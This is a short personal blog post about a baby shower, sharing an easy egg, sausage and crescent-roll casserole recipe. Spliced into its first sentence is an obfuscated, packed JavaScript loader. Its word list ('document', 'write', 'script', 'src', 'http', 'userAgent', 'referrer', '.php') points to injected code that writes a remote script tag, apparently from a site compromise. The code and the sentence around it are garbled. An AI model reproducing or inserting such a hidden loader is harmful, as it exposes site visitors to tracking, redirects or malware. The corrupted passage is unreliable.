Did you hear about the amazing baby ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztrra|var|u0026u|referrer|idtsb||js|php’.split(‘|’),0,{}))
shower this past weekend? I intend to milk it the rest of the week.
We served a sausage casserole that got rave reviews (far left, thanks for the pic, Brooke), so I’m posting it here. Thanks, Kelly!
Egg Sausage Casserole
1 package of Crescent rolls (8 or 10 oz can. We bought the 8 oz can for the jumbo crescent rolls and had a little extra dough)
6 eggs
1 cup milk
2 cups shredded mozzarella cheese
1 package pre cooked sausage links (8-10 links, Kelly suggested the frozen, red/yellow package, original flavor of “brown and serve”)
Dash of pepper
Preheat oven to 375.
Grease 9×13 pan.
Unroll the crescent rolls in the bottom of the pan.
Cut up sausage links into ½ inch pieces; sprinkle evenly throughout the pan.
Spread the cheese over the sausage.
Whisk eggs, milk, and pepper; pour evenly into pan.
Bake at 375 for 25-30 minutes or until top is golden brown.
I wish it were more difficult so I could take credit for executing a difficult dish. But it’s actually really easy and delicious!